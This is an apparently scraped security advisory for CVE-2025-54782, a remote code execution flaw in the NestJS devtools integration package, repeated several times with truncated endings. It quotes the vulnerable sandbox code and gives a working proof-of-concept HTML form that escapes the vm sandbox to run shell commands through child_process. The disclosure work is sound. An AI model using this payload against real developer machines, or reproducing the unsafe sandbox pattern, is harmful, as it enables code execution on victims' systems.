CVE-2025-54782

Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox. This is fixed in version 0.2.1.

Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox. This is fixed in version 0.2.1.

Summary

A critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine.

A full blog post about how this vulnerability was uncovered can be found on Socket's blog.

Details

The @nestjs/devtools-integration package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.

Key issues:

1. Unsafe Sandbox: The sandbox implementation closely resembles the abandoned safe-eval library. The Node.js vm module is explicitly documented as not providing a security mechanism for executing untrusted code. Numerous known sandbox escape techniques allow arbitrary code execution.
2. Lack of Proper CORS/Origin Checking: The server sets Access-Control-Allow-Origin to a fixed domain (https://devtools.nestjs.com) but does not validate the request's Origin or Content-Type. Attackers can craft POST requests with text/plain content type using HTML forms or simple XHR requests, bypassing CORS preflight checks.

By chaining these issues, a malicious website can trigger the vulnerable endpoint and achieve arbitrary code execution on a developer's machine running the NestJS devtools integration.

Relevant code from the package:

// Vulnerable request handler
handleGraphInteraction(req, res) {
  if (req.method === 'POST') {
    let body = '';
    req.on('data', data => { body += data; });
    req.on('end', async () => {
      res.writeHead(200, { 'Content-Type': 'application/plain' });
      const json = JSON.parse(body);
      await this.sandboxedCodeExecutor.execute(json.code, res);
    });
  }
}

// Vulnerable sandbox implementation
runInNewContext(code, context, opts) {
  const sandbox = {};
  const resultKey = 'SAFE_EVAL_' + Math.floor(Math.random() * 1000000);
  sandbox[resultKey] = {};
  const ctx = `
    (function() {
      Function = undefined;
      const keys = Object.getOwnPropertyNames(this).concat(['constructor']);
      keys.forEach((key) => {
        const item = this[key];
        if (!item || typeof item.constructor !== 'function') return;
        this[key].constructor = undefined;
      });
    })();
  `;
  code = ctx + resultKey + '=' + code;
  if (context) {
    Object.keys(context).forEach(key => { sandbox[key] = context[key]; });
  }
  vm.runInNewContext(code, sandbox, opts);
  return sandbox[resultKey];
}

Because the sandbox can be trivially escaped, and the endpoint accepts cross-origin POST requests without proper checks, this vulnerability allows arbitrary code execution on the developer's machine.

PoC

Create a minimal NestJS project and enable @nestjs/devtools-integration in development mode:

npm install @nestjs/devtools-integration
npm run start:dev

Use the following HTML form on any malicious website:

<form action="http://localhost:8000/inspector/graph/interact" method="POST" enctype="text/plain">
  <input name="{&quot;code&quot;:&quot;(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('open /System/Applications/Calculator.app')}})()&quot;,&quot;bogus&quot;:&quot;" value="&quot;}" />
  <input type="submit" value="Exploit" />
</form>

When the developer visits the page and submits the form, the local NestJS devtools server executes the injected code, in this case launching the Calculator app on macOS.

Alternatively, the same payload can be sent…

Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox. This is fixed in version 0.2.1.

Summary

A critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine.

A full blog post about how this vulnerability was uncovered can be found on Socket's blog.

Details

The @nestjs/devtools-integration package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.

Key issues:

1. Unsafe Sandbox: The sandbox implementation closely resembles the abandoned safe-eval library. The Node.js vm module is explicitly documented as not providing a security mechanism for executing untrusted code. Numerous known sandbox escape techniques allow arbitrary code execution.
2. Lack of Proper CORS/Origin Checking: The server sets Access-Control-Allow-Origin to a fixed domain (https://devtools.nestjs.com) but does not validate the request's Origin or Content-Type. Attackers can craft POST requests with text/plain content type using HTML forms or simple XHR requests, bypassing CORS preflight checks.

By chaining these issues, a malicious website can trigger the vulnerable endpoint and achieve arbitrary code execution on a developer's machine running the NestJS devtools integration.

Relevant code from the package:

// Vulnerable request handler
handleGraphInteraction(req, res) {
  if (req.method === 'POST') {
    let body = '';
    req.on('data', data => { body += data; });
    req.on('end', async () => {
      res.writeHead(200, { 'Content-Type': 'application/plain' });
      const json = JSON.parse(body);
      await this.sandboxedCodeExecutor.execute(json.code, res);
    });
  }
}

// Vulnerable sandbox implementation
runInNewContext(code, context, opts) {
  const sandbox = {};
  const resultKey = 'SAFE_EVAL_' + Math.floor(Math.random() * 1000000);
  sandbox[resultKey] = {};
  const ctx = `
    (function() {
      Function = undefined;
      const keys = Object.getOwnPropertyNames(this).concat(['constructor']);
      keys.forEach((key) => {
        const item = this[key];
        if (!item || typeof item.constructor !== 'function') return;
        this[key].constructor = undefined;
      });
    })();
  `;
  code = ctx + resultKey + '=' + code;
  if (context) {
    Object.keys(context).forEach(key => { sandbox[key] = context[key]; });
  }
  vm.runInNewContext(code, sandbox, opts);
  return sandbox[resultKey];
}

Because the sandbox can be trivially escaped, and the endpoint accepts cross-origin POST requests without proper checks, this vulnerability allows arbitrary code execution on the developer's machine.

PoC

Create a minimal NestJS project and enable @nestjs/devtools-integration in development mode:

npm install @nestjs/devtools-integration
npm run start:dev

Use the following HTML form on any malicious website:

<form action="http://localhost:8000/inspector/graph/interact" method="POST" enctype="text/plain">
  <input name="{&quot;code&quot;:&quot;(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('open /System/Applications/Calculator.app')}})()&quot;,&quot;bogus&quot;:&quot;" value="&quot;}" />
  <input type="submit" value="Exploit" />
</form>

When the developer visits the page and submits the form, the local NestJS devtools server executes the injected code, in this case launching the Calculator app on macOS.

Alternatively, the same payload can be sent…